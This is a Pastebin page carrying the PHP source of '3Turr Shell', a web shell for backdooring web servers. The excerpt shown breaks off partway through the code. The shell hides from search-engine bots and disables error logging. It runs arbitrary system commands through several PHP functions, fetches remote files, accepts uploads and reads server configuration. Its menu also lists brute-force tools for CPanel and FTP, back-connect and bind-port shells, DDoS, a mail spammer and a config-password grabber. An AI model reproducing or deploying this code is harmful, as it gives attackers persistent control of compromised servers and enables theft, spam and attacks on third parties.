API tools faq
paste
0xspade

3Turr Shell

0xspade
Sep 5th, 2016
900
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 92.89 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. // 3Turr
  3. @define('VERSION','2.0');
  4. @error_reporting(1);
  5. @session_start();
  6. @ini_set('error_log',NULL);
  7. @ini_set('log_errors',0);
  8. @ini_set('max_execution_time',0);
  9. @set_time_limit(0);
  10. if( @preg_match("/(Google|robot|bot|bing|yahoo|facebook|visionutils)/Ui",$_SERVER['HTTP_USER_AGENT'])) {
  11.     header('HTTP/1.1 404 Not Found');
  12.     exit;
  13. }
  14.  
  15. if (base64_decode($_POST['p1'], true) && ($_POST['p1'] != 'mkdir' && $_POST['p1'] != 'uploadFile') && ($_POST['p2'] != 'd2' ) ){
  16.    
  17.     $_POST['p1'] = base64_decode(urldecode($_POST['p1']));
  18. }
  19. $default_action = 'FilesMan';
  20. $default_use_ajax = true;
  21. $default_charset = 'Windows-1251';
  22. if (strtolower(substr(PHP_OS,0,3))=="win")
  23.     $sys='win';
  24.  else
  25.     $sys='unix';
  26. $home_cwd = @getcwd();
  27. if(base64_decode($_REQUEST['c'], true))
  28. $_REQUEST['c'] = base64_decode(urldecode($_REQUEST['c']));
  29.     @chdir($_REQUEST['c']);  
  30. $cwd = @getcwd();
  31. if($sys == 'win')
  32. {
  33.     $home_cwd = str_replace("\\", "/", $home_cwd);
  34.     $cwd = str_replace("\\", "/", $cwd);
  35. }
  36. if($cwd[strlen($cwd)-1] != '/' )
  37.     $cwd .= '/';
  38. function yemenEx($in) {
  39.     $out = '';
  40.     if (function_exists('exec')) {
  41.         @exec($in,$out);
  42.         $out = @join("
  43. ",$out);
  44.     } elseif (function_exists('passthru')) {
  45.         ob_start();
  46.         @passthru($in);
  47.         $out = ob_get_clean();
  48.     } elseif (function_exists('system')) {
  49.         ob_start();
  50.         @system($in);
  51.         $out = ob_get_clean();
  52.     } elseif (function_exists('shell_exec')) {
  53.         $out = shell_exec($in);
  54.     } elseif (is_resource($f = @popen($in,"r"))) {
  55.         $out = "";
  56.         while(!@feof($f))
  57.             $out .= fread($f,1024);
  58.         pclose($f);
  59.     }
  60.     return $out;
  61. }
  62. $down=@getcwd();
  63. if($sys=="win")
  64. $down.='';
  65. else
  66. $down.='/';
  67. if(isset($_POST['rtdown']))
  68. {
  69. $url = $_POST['rtdown'];
  70. $newfname = $down. basename($url);
  71. $file = fopen ($url, "rb");
  72. if ($file) {
  73.   $newf = fopen ($newfname, "wb");
  74.   if ($newf)
  75.   while(!feof($file)) {
  76.     fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
  77.   }
  78.   }
  79. if ($file) {
  80.   fclose($file);
  81. }
  82. if ($newf) {
  83.   fclose($newf);
  84. }
  85. }
  86. function yemenhead()
  87. {
  88.     if(empty($_POST['charset']))
  89.         $_POST['charset'] = $GLOBALS['default_charset'];
  90.  
  91. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  92. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  93. $totalSpace = $totalSpace?$totalSpace:1;        
  94. $on="<font color=#0F0> ON </font>";
  95. $of="<font color=red> OFF </font>";
  96. $none="<font color=#0F0> NONE </font>";  
  97. if(function_exists('curl_version'))
  98.     $curl=$on;
  99. else
  100.     $curl=$of;
  101. if(function_exists('mysql_get_client_info'))
  102.     $mysql=$on;
  103.  else
  104.     $mysql=$of;      
  105. if(function_exists('mssql_connect'))
  106.     $mssql=$on;
  107. else
  108.    $mssql=$of;
  109. if(function_exists('pg_connect'))
  110.     $pg=$on;
  111. else
  112.    $pg=$of;        
  113. if(function_exists('oci_connect'))
  114.    $or=$on;
  115. else
  116.    $or=$of;
  117. if(@ini_get('disable_functions'))
  118.   $disfun='<span>Disabled functions : </span><font color=red style="word-wrap: break-word;width: 80%; " >'.@str_replace(',',', ',@ini_get('disable_functions')).'</font>';
  119. else
  120. $disfun="<span>Disabled Functions: </span><font color=#00ff00 >All Functions Enable</font>";
  121. if(@ini_get('safe_mode'))
  122. $safe_modes="<font color=red>ON</font>";
  123. else
  124. $safe_modes="<font color=#0F0 >OFF</font>";
  125. if(@ini_get('open_basedir'))
  126. $open_b=@ini_get('open_basedir');
  127.     else
  128.   $open_b=$none;
  129. if(@ini_get('safe_mode_exec_dir'))
  130. $safe_exe=@ini_get('safe_mode_exec_dir');
  131.     else
  132. $safe_exe=$none;
  133. if(@ini_get('safe_mode_include_dir'))
  134.    $safe_include=@ini_get('safe_mode_include_dir');
  135. else
  136.  $safe_include=$none;
  137. if(!function_exists('posix_getegid'))
  138. {
  139.         $user = @get_current_user();
  140.         $uid = @getmyuid();
  141.         $gid = @getmygid();
  142.         $group = "?";
  143. } else
  144. {
  145.         $uid = @posix_getpwuid(posix_geteuid());
  146.         $gid = @posix_getgrgid(posix_getegid());
  147.         $user = $uid['name'];
  148.         $uid = $uid['uid'];
  149.         $group = $gid['name'];
  150.         $gid = $gid['gid'];
  151.     }
  152.      $cwd_links = '';
  153.     $path = explode("/", $GLOBALS['cwd']);
  154.     $n=count($path);
  155.     for($i=0; $i<$n-1; $i++) {
  156.         $cwd_links .= "<a  href='#' onclick='g(\"FilesMan\",\"";
  157.         for($j=0; $j<=$i; $j++)
  158.             $cwd_links .= $path[$j].'/';
  159.         $cwd_links .= "\")'>".$path[$i]."/</a>";
  160.     }
  161. $drives = "";
  162. foreach(range('c','z') as $drive)
  163. if(is_dir($drive.':'))
  164. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.base64_encode($drive.':/').'\')">[ '.$drive.' ]</a> ';
  165.  
  166.  echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  167. <html xmlns="http://www.w3.org/1999/xhtml">
  168. <head>
  169. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  170. <title>3Turr ~ Sh3ll</title>
  171. <link rel="shortcut icon" type="image/x-icon" href="https://avatars1.githubusercontent.com/u/13343571?v=3&s=460">
  172. <script language="javascript">
  173. function Encoder(name)
  174. {
  175.     var e =  document.getElementById(name);
  176.     e.value = btoa(e.value);
  177.     return true;
  178. }
  179. function Encoder2(name)
  180. {
  181.     var e =  document.getElementById(name);
  182.     e.value = btoa(e.value);
  183.     return true;
  184. }
  185. </script>
  186. <style type="text/css">
  187. <!--
  188. .headera {
  189. color: red;
  190. }
  191. .whole {
  192.    
  193.     height:auto;
  194.     width: auto;
  195.     margin-top: 10px;
  196.     margin-right: 10px;
  197.     margin-left: 10px;
  198.    background-image: linear-gradient(
  199.      rgba(0, 0, 0, 0.4),
  200.      rgba(0, 0, 0, 0.4)
  201.    ), url(http://img03.arabsh.com/uploads/image/2012/09/11/0d37424266f70d.png);
  202. }
  203. .header {
  204. table-layout: fixed;
  205.     height: auto;
  206.     width: auto;
  207.     border:  4px solid #5BEEFF;
  208.     color: yellow;
  209.     font-size: 12px;
  210.     font-family: Verdana, Geneva, sans-serif;
  211. }
  212. tr {
  213.  display: table-row;
  214.  vertical-align: inherit;
  215.  padding-right:10px;
  216. }table {
  217.  display: table;
  218.  border-collapse: separate;
  219.  border-spacing: 2px;
  220.  border-color: #5BEEFF;
  221. }
  222. .header a {color:#0F0; text-decoration:none;}
  223. span {
  224.     font-weight: bolder;
  225.     color: #FFF;
  226. }
  227. #meunlist {
  228.     font-family: Verdana, Geneva, sans-serif;
  229.     color: #FFF;
  230.     background-color: #000;
  231.     width: auto;
  232.     border-right-width: 7px;
  233.     border-left-width: 7px;
  234.     border-top-style: solid;
  235.     border-right-style: solid;
  236.     border-bottom-style: solid;
  237.     border-left-style: solid;
  238.     border-color: #5BEEFF;
  239.     height: auto;
  240.     font-size: 12px;
  241.     font-weight: bold;
  242.     border-top-width: 0px;
  243. }
  244.  .whole #meunlist ul {
  245.     padding-top: 5px;
  246.     padding-right: 5px;
  247.     padding-bottom: 7px;
  248.     padding-left: 2px;
  249.     text-align:center;
  250.     list-style-type: none;
  251.     margin: 0px;
  252. }
  253.  .whole #meunlist li {
  254.     margin: 0px;
  255.     padding: 0px;
  256.     display: inline;
  257. }
  258.  .whole #meunlist a {
  259.    font-family: arial, sans-serif;
  260.     font-size: 14px;
  261.     text-decoration:none;
  262.     font-weight: bold;
  263.     color: #fff;
  264.     clear: both;
  265.     width: 100px;
  266.     margin-right: -6px;
  267.     padding-top: 3px;
  268.     padding-right: 15px;
  269.     padding-bottom: 3px;
  270.     padding-left: 15px;
  271.     border-right-width: 1px;
  272.     border-right-style: solid;
  273.     border-right-color: #FFF;
  274. }
  275.  .whole #meunlist a:hover {
  276.     color: red;
  277.     background: #fff;
  278. }
  279. .menu a:hover { background:#5BEEFF;}
  280. a:hover        { color:red;background:black;}
  281.    .ml1        { border:1px solid #2438CF;padding:5px;margin:0;overflow: auto; }
  282.    .bigarea    { width:100%;height:250px; border:1px solid red; background:#171717;}
  283.    input, textarea, select    { margin:0;color:#FF0000;background-color:#000;border:1px solid #5BEEFF; font: 9pt Monospace,"Times New roman"; }
  284.    form        { margin:0px; }
  285.    #toolsTbl    { text-align:center; }
  286.    .toolsInp    { width: 80%; }
  287.   .main th    {text-align:left;background-color:#990000;color:white;}
  288. .main td, th{vertical-align:middle;}
  289.    pre            {font-family:Courier,Monospace;}
  290.    #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
  291. }';
  292. if(is_writable($GLOBALS['cwd']))
  293.  {
  294.  echo ".foottable {
  295. width: 300px;
  296. font-weight: bold;
  297. }";}
  298.  else
  299.  {
  300.     echo ".foottable {
  301. width: 300px;
  302. font-weight: bold;
  303. background-color:red;
  304. }
  305. .dir {
  306.   background-color:red;  
  307. }
  308. ";
  309.  }    
  310.  echo '.main th{text-align:left;}
  311. .main a{color: #FFF;}
  312. .main tr:hover{background-color:red;}
  313. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  314. .bigarea{ width:99%; height:300px; }  
  315.  </style>
  316. ';
  317. echo "<script>
  318. var c_ = '" . base64_encode(htmlspecialchars($GLOBALS['cwd'])) . "';
  319. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  320. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  321. var p1_ = '" . ((strpos(@$_POST['p1'],"
  322. ")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  323. var p2_ = '" . ((strpos(@$_POST['p2'],"
  324. ")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  325. var p3_ = '" . ((strpos(@$_POST['p3'],"
  326. ")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  327. var d = document;
  328.     function set(a,c,p1,p2,p3,charset) {
  329.         if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  330.         if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  331.         if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  332.         if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  333.         if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  334.         if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  335.     }
  336.     function g(a,c,p1,p2,p3,charset) {
  337.         set(a,c,p1,p2,p3,charset);
  338.         d.mf.submit();
  339.     }</script>";
  340.  
  341.     echo '
  342. </head>
  343. <div class="whole1"></div>
  344. <body bgcolor="#000000"  color="red" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
  345. <div  style="position:absolute;top:30px;right:50px; font-size:25px;font-family:auto;z-index:-1;" rowspan="8"><font color=red><img height="190px" height="190px" alt="3Turr" src="http://i.imgur.com/mVdgU0V.png" /></font><center><font style="color:#5BEEFF;text-shadow: 1px 1px 36px #5BEEFF, 0 0 25px #5BEEFF, 0 0 30px #5BEEFF, 0 0 30px #5BEEFF;">3</font><font style="color:red;text-shadow: 1px 1px 36px red, 0 0 25px red, 0 0 30px red;">Turr</font>
  346. </div>
  347. <div class="whole">
  348. <form method=post name=mf style="display:none;">
  349. <input type=hidden name=a>
  350. <input type=hidden name=c>
  351. <input type=hidden name=p1>
  352. <input type=hidden name=p2>
  353. <input type=hidden name=p3>
  354. <input type=hidden name=charset>
  355. </form>
  356.  <div class="header"><table  class="headmain" width="100%" border="0"  align="lift">
  357.  <tr>
  358. <td width="3%"><span>Uname:</span></td>
  359. <td colspan="2">'.substr(@php_uname(), 0, 120).'</td>
  360. </tr>
  361.  <tr>
  362. <td><span>User:</span></td>
  363. <td>'. $uid . ' [ ' . $user . ' ] <span>   Group: </span>' . $gid . ' [ ' . $group . ' ]
  364.  </tr>
  365.  <tr>
  366. <td><span>PHP:</span></td>
  367. <td>'.@phpversion(). '   <span>   Safe Mode: '.$safe_modes.'</span></td>
  368. </tr>
  369.  <tr>
  370. <td><span>IP:</span></td>
  371. <td>'.@$_SERVER["SERVER_ADDR"].'    <span>Server IP:</span> '.@$_SERVER["REMOTE_ADDR"].'</td>
  372.  </tr>
  373.  <tr>
  374. <td><span>WEBS:</span></td>
  375. <td width="76%">';
  376.  
  377.  if($GLOBALS['sys']=='unix')
  378.  {
  379. $d0mains = @file("/etc/named.conf");
  380. if(!$d0mains)
  381. {
  382.  echo "CANT READ named.conf";
  383. }
  384. else
  385. {
  386.   $count;  
  387.  foreach($d0mains as $d0main)
  388.  {
  389.   if(@ereg("zone",$d0main))
  390.   {
  391.   preg_match_all('#zone "(.*)"#', $d0main, $domains);
  392.    flush();
  393.   if(strlen(trim($domains[1][0])) > 2){
  394.  flush();
  395.  $count++;
  396.    }
  397.    }
  398.    }
  399.    echo "<b>$count</b>  Domains";
  400. }
  401.  }
  402.  else{ echo"CANT READ |Windows|";}
  403.  
  404.    echo '</td>
  405. </tr>
  406. <tr>
  407. <td height="16"><span>HDD:</span></td>
  408. <td>'.yemenSize($totalSpace).' <span>Free:</span>' . yemenSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</td>
  409. </tr>';
  410.  
  411.   if($GLOBALS['sys']=='unix' )
  412. {
  413.  if(!@ini_get('safe_mode'))
  414.  {
  415.  
  416.  echo '<tr><td height="18" colspan="2"><span>Useful : </span>';
  417.  $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  418.   foreach($userful as $item)
  419.  if(yemenWhich($item))
  420.  echo $item.',';
  421.  echo '</td>
  422. </tr>
  423.  <tr>
  424.  <td height="0" colspan="2"><span>Downloader: </span>';
  425.  
  426.   $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  427.    foreach($downloaders as $item2)
  428.     if(yemenWhich($item2))
  429. echo $item2.',';
  430. echo '</td>
  431.   </tr>';
  432.  
  433.   }
  434.    else
  435.    {
  436.  echo '<tr><td height="18" colspan="2"><span>useful: </span>';
  437.  echo '--------------</td>
  438.   </tr><td height="0" colspan="2"><span>Downloader: </span>-------------</td>
  439.   </tr>';  
  440.  }
  441. }
  442. else
  443. {
  444.    echo '<tr><td height="18" colspan="2"><span>Window: </span>';
  445.    echo yemenEx('ver');
  446.    
  447.  
  448. }  
  449.  
  450.  
  451.  echo '<tr>
  452.  <td height="16" colspan="2">'.$disfun.'</td>
  453.  </tr>
  454.  <tr>
  455. <td height="16" colspan="2"><span>cURL:'.$curl.'  MySQL:'.$mysql.'  MSSQL:'.$mssql.'  PostgreSQL:'.$pg.'  Oracle: </span>'.$or.'</td><td width="15%"></td>
  456.  </tr>
  457.  <tr>
  458.  <td height="11" style="width:70%" colspan="3"><span>Open_basedir:'.$open_b.' Safe_mode_exec_dir:'.$safe_exe.'   Safe_mode_include_dir:'.$safe_include.'</td>
  459.  </tr>
  460.  <tr>
  461. <td height="11"><span>Server </span></td>
  462. <td colspan="2">'.@getenv('SERVER_SOFTWARE').'</td>
  463.  </tr>';
  464.   if($GLOBALS[sys]=="win")
  465.   {
  466.  echo '<tr>
  467. <td height="12"><span>DRIVE:</span></td>
  468. <td colspan="2">'.$drives.'</td>
  469.  </tr>';
  470.   }
  471.  
  472.   echo '<tr>
  473. <td height="12"><span>PWD:</span></td>
  474. <td colspan="2" >'.$cwd_links.'  <a href=# onclick="g(\'FilesMan\',\'' . base64_encode($GLOBALS['home_cwd']) . '\')"><font color=red >[HOME]</font></a></td>
  475.  </tr>
  476.  </table>
  477. </div>
  478. <div id="menu-box">
  479. <style type="text/css">
  480. div#menu{height:40px;:url(http://apycom.com/ssc-data/items/1/00bfff/images/main-bg.png) repeat-x;}
  481. div#menu ul{margin:0;padding:0;list-style:none;float:left;}
  482. div#menu ul.menu {padding-left:10px;}
  483. div#menu li{position:relative;z-index:9;margin:0;padding:0 5px 0 0;display:block;float:left;}
  484. div#menu li:hover>ul {left:-2px;}
  485. div#menu a {position:relative;z-index:10;height:40px;display:block;float:left;line-height:40px;text-decoration:none;font:normal 13px Trebuchet MS;}
  486. div#menu a:hover {color:#000;}
  487. div#menu li.current a {}
  488. div#menu span {display:block;cursor:pointer;background-repeat:no-repeat;background-position:95% 0;}
  489. div#menu ul ul a.parent span {background-position:95% 8px;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/item-pointer.gif);}
  490. div#menu ul ul a.parent:hover span {background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/item-pointer-mover.gif);}
  491. div#menu a {padding:0 6px 0 10px;line-height:30px;color:#fff;}
  492. div#menu span {margin-top:5px;}
  493. div#menu li {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/main-delimiter.png) 98% 4px no-repeat;}
  494. div#menu li.last {background:none;}
  495. div#menu ul ul li {background:none;}
  496. div#menu ul ul {position:absolute;top:38px;left:-999em;width:180%;padding:1px 0 0 0;background:rgb(45,45,45);margin-top:1px;}
  497. div#menu ul ul a {padding:0 0 0 15px;height:auto;float:none;display:block;line-height:24px;color:rgb(169,169,169);}
  498. div#menu ul ul span {margin-top:0;padding-right:15px;_padding-right:20px;color:rgb(169,169,169);}
  499. div#menu ul ul a:hover span {color:#fff;}div#menu ul ul li.last {background:none;}
  500. div#menu ul ul li {width:100%;}div#menu ul ul ul {padding:1;margin:-38px 0 0 163px !important;margin-left:172px;}div#menu ul ul ul {background:rgb(41,41,41);}
  501. div#menu ul ul ul ul {background:rgb(38,38,38);}div#menu ul ul ul ul {background:rgb(35,35,35);}
  502. div#menu li.back {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.png) no-repeat right -44px !important;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.gif);width:13px;height:44px;z-index:8;position:absolute;margin:-1px 0 0 -5px;}
  503. div#menu li.back .left {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.png) no-repeat top left !important;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.gif);height:44px;margin-right:8px;}
  504. </style>
  505. <div id="menu"><ul class="menu">
  506.  
  507. <li><a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">HOME</a></li>
  508. <li><a href="#" onclick="g(\'proc\',null,\'\',\'\',\'\')">SYSTEM</a></li>
  509. <li><a href="#">PHP</a>
  510. <ul>
  511. <li><a href="#" onclick="g(\'phpeval\',null,\'\',\'\',\'\')">EVAL</a></li>
  512. <li><a href="#" onclick="g(\'hash\',null,\'\',\'\',\'\')">HASH</a></li>
  513. </ul>
  514. <li><a href="#" onclick="g(\'sql\',null,\'\',\'\',\'\')">SQL</a></li>
  515. <li><a href="#" >BRUTE&CRACK</a>
  516. <ul>
  517. <li><a href="#" onclick="g(\'bf\',null,\'\',\'\',\'\')">CPanel</a></li>
  518. <li><a href="#" onclick="g(\'bruteftp\',null,\'\',\'\',\'\')">FTP</a></li>
  519. </ul>
  520. </li>
  521. <li><a href="#">NETWORK</a>
  522. <ul>
  523. <li><a href="#" onclick="g(\'connect\',null,\'\',\'\',\'\')">BACK CONNECT</a></li>
  524. <li><a href="#" onclick="g(\'net\',null,\'\',\'\',\'\')">BIND PORT</a></li>
  525. </ul>
  526. <li><a href="#" onclick="g(\'dos\',null,\'\',\'\',\'\')">DDOS</a></li>
  527. <li><a href="#" onclick="g(\'safe\',null,\'\',\'\',\'\')">SAFE MODE</a></li>
  528. <li><a href="#" onclick="g(\'symlink\',null,\'\',\'\',\'\')">SYMLINK</a></li>
  529. <!--
  530. <li><a href="#" onclick="g(\'wp\',null,\'\',\'\',\'\')">Mass Wpress</a></li>
  531. <li><a href="#" onclick="g(\'joom\',null,\'\',\'\',\'\')">Mass Joomla</a></li>
  532. -->
  533. <li><a href="#">Perl Sh3ll</a>
  534.     <ul>
  535.         <li><a href="#" onclick="g(\'perl\',null,\'\',\'\',\'\')">CGI 1.0v</a></li>
  536.         <li><a href="#" onclick="g(\'perl4\',null,\'\',\'\',\'\')">CGI 1.4v</a></li>
  537.     </ul>
  538. </li>
  539. <li><a href="#" >Mirrors</a>
  540. <ul>
  541. <li><a href="#" onclick="g(\'zone\',null,\'\',\'\',\'\')">Zone-h.org</a></li>
  542.  <li><a href="#" onclick="g(\'zonejoy\',null,\'\',\'\',\'\')">Aljyyosh.org</a></li>
  543. </ul>
  544. </li>
  545. <li><a href="#">TOOLS</a>
  546. <ul>
  547.  <li><a href="#" onclick="g(\'rev\',null,\'\',\'\',\'\')">Reverse IP</a></li>
  548.  <li><a href="#" onclick="g(\'zip\',null,\'\',\'\',\'\')">ZIP</a></li>
  549.  <li><a href="#" onclick="g(\'mail\',null,\'\',\'\',\'\')">Mail Spammer</a></li>
  550. </ul>
  551. </li>
  552. <li><a href="#" >3Turr-VIP</a>
  553. <ul>
  554. <li><a href="#" onclick="g(\'conpass\',null,\'\',\'\',\'\')">C0nf1G-P4$$\'s</a></li>
  555. </ul>
  556. </li>
  557. <li><a href="#" onclick="g(\'yemen\',null,\'\',\'\',\'\')">ABOUT</a></li>
  558. </ul>
  559.  
  560. </div>
  561. ';  
  562.  
  563. ?>
  564. <footer id="det" style="z-index:9999;background:#000;position:fixed; left:0px; right:0px; bottom:0px; background:rgb(0,0,0);padding:3px; text-align:center; border-top: 1px solid #ff0000; border-bottom: 2px solid #990000;color:red;">
  565. <font align=center>3Turr ~ SH311</font>
  566. </footer>
  567. <form style="z-index:9999;position:fixed;left:1;bottom:4px;display:inline" onsubmit="Encoder('encod');g('proc',null,this.c.value);return false;">
  568. <input  style="width:290px" type=text id=encod name=c value="" placeholder="Execute" <? (!isset($_POST['a']) || $_POST['a'] != 'proc' || !isset($_POST['p1']) || $_POST['p1'] == '' ) ? print("autofocus") : 0 ; ?> >
  569. <input type=submit style="color:red;width:30px;" value=">>">
  570. </form>
  571. <!--###################-->
  572. <form  style="z-index:9999;position:fixed;right:10px;bottom:3px;display:inline;" method='post'  ENCTYPE='multipart/form-data'>
  573. <input type=hidden name=a value='FilesMAn'>
  574. <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd']) ?>'>
  575. <input type=hidden name=p1 value='uploadFile'>
  576. <input type=hidden name=charset value='<?=isset($_POST['charset']) ? $_POST['charset'] : '' ?>'>
  577. <input style="border:1px solid #5BEEFF;height:19px;value:[   select    ];"  class="toolsInp" type=file name=f >  <input style="color:red;width:30px;" type=submit value=">>" ></form>
  578. <?
  579. }
  580. function yemenfooter() {
  581.  $is_writable = is_writable($GLOBALS['cwd'])?"<font color=#00ff00 >[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
  582. ?>
  583. </div>
  584. <table style="border: 1px solid #5BEEFF;border-top:0px;" class=info id=toolsTbl cellpadding=5 cellspacing=5 width=100%">
  585.  <tr>
  586. <td><form onsubmit="Encoder('cdir');g(null,this.c.value);return false;"><span>Change dir:</span><br><input id=cdir class="toolsInp" type=text name=c style="color:white;" value="<?=htmlspecialchars($GLOBALS['cwd']); ?>"><input type=submit s s value=">>"></form></td>
  587. <td><form onsubmit="Encoder('rfile');g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input  id=rfile class="toolsInp" type=text name=f><input type=submit s s value=">>"></form></td>
  588.  </tr>
  589.  <tr>
  590. <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input id=mdir  class="toolsInp" type=text name=d><input type=submit s s value=">>"></form><?=$is_writable ?></td>
  591. <td><form onsubmit="Encoder('mfile');g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input id=mfile  class="toolsInp" type=text name=f><input type=submit s s value=">>"></form><?=$is_writable ?></td>
  592.    
  593.  </tr>
  594. </table>
  595. <br><br>
  596. </div>
  597. <footer id="det" style="position:fixed; left:0px; right:0px; top:0px; background:rgb(0,0,0); text-align:center; border-top: 1px solid #ff0000; border-bottom: 2px solid #990000"></footer>
  598. </body></html>
  599. <?
  600. }
  601. if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {
  602.    function posix_getpwuid($p) {return false;} }
  603. if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {
  604.   function posix_getgrgid($p) {return false;} }
  605. function yemenWhich($p) {
  606.     $path = yemenEx('which ' . $p);
  607.     if(!empty($path))
  608.         return $path;
  609.     return false;
  610. }
  611. function yemenSize($s) {
  612.     if($s >= 1073741824)
  613.         return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  614.     elseif($s >= 1048576)
  615.         return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  616.     elseif($s >= 1024)
  617.         return sprintf('%1.2f', $s / 1024 ) . ' KB';
  618.     else
  619.         return $s . ' B';
  620. }
  621. function yemenPerms($p) {
  622.     if (($p & 0xC000) == 0xC000)$i = 's';
  623.     elseif (($p & 0xA000) == 0xA000)$i = 'l';
  624.     elseif (($p & 0x8000) == 0x8000)$i = '-';
  625.     elseif (($p & 0x6000) == 0x6000)$i = 'b';
  626.     elseif (($p & 0x4000) == 0x4000)$i = 'd';
  627.     elseif (($p & 0x2000) == 0x2000)$i = 'c';
  628.     elseif (($p & 0x1000) == 0x1000)$i = 'p';
  629.     else $i = 'u';
  630.     $i .= (($p & 0x0100) ? 'r' : '-');
  631.     $i .= (($p & 0x0080) ? 'w' : '-');
  632.     $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  633.     $i .= (($p & 0x0020) ? 'r' : '-');
  634.     $i .= (($p & 0x0010) ? 'w' : '-');
  635.     $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  636.     $i .= (($p & 0x0004) ? 'r' : '-');
  637.     $i .= (($p & 0x0002) ? 'w' : '-');
  638.     $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  639.     return $i;
  640. }
  641. function yemenPermsColor($f) {
  642.     if (!@is_readable($f))
  643.         return '<font color=#FF0000>' . yemenPerms(@fileperms($f)) . '</font>';
  644.     elseif (!@is_writable($f))
  645.         return '<font color=white>' . yemenPerms(@fileperms($f)) . '</font>';
  646.     else
  647.         return '<font color=#25ff00>' . yemenPerms(@fileperms($f)) . '</font>';
  648. }
  649. if(!function_exists("scandir")) {
  650.     function scandir($dir) {
  651.         $dh  = opendir($dir);
  652.         while (false !== ($filename = readdir($dh)))
  653.         $files[] = $filename;
  654.         return $files;
  655.     }
  656. }
  657. function yemenFilesMan() {
  658.     yemenhead();
  659.  echo '<div class=header id=fixx ><script>p1_=p2_=p3_="";</script>';
  660.     if(isset($_POST['p1'])) {
  661.     //$_POST['p2'] = urldecode($_POST['p2']);
  662.         switch($_POST['p1']) {
  663.             case 'uploadFile':
  664.                 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])){
  665.                     echo "Can't upload file!";
  666.                 }
  667.                 break;
  668.             case 'mkdir':
  669.                 if(!@mkdir($_POST['p2']))
  670.                     echo "Can't create new dir";
  671.                 break;
  672.            
  673.         default:
  674. if(!empty($_POST['p1'])) {
  675.                     $_SESSION['act'] = @$_POST['p1'];
  676.                     $_SESSION['f'] = @$_POST['f'];
  677.                     foreach($_SESSION['f'] as $k => $f)
  678.                         $_SESSION['f'][$k] = urldecode($f);
  679.                     $_SESSION['c'] = @$_REQUEST['c'];
  680.                 }
  681.                 break;
  682.         }
  683.     }
  684.     $dirContent = @scandir(isset($_REQUEST['c'])?$_REQUEST['c']:$GLOBALS['cwd']);
  685.     if($dirContent === false) { echo '<h3><span>|  Access Denied! |</span></h3></div>';yemenFooter(); return; }
  686.     global $sort;
  687.     $sort = array('name', 1);
  688.     if(!empty($_POST['p1'])) {
  689.         if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  690.             $sort = array($match[1], (int)$match[2]);
  691.     }
  692. echo "
  693. <table width='100%' class='main' cellspacing='0' cellpadding='2'  >
  694. <form name=files method=post><tr><th>Name</th><th>Size</th><th>Date Modified</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
  695.     $dirs = $files = array();
  696.     $n = count($dirContent);
  697.     for($i=0;$i<$n;$i++) {
  698.         $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  699.         $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  700.         $tmp = array('name' => $dirContent[$i],
  701.                      'path' => $GLOBALS['cwd'].$dirContent[$i],
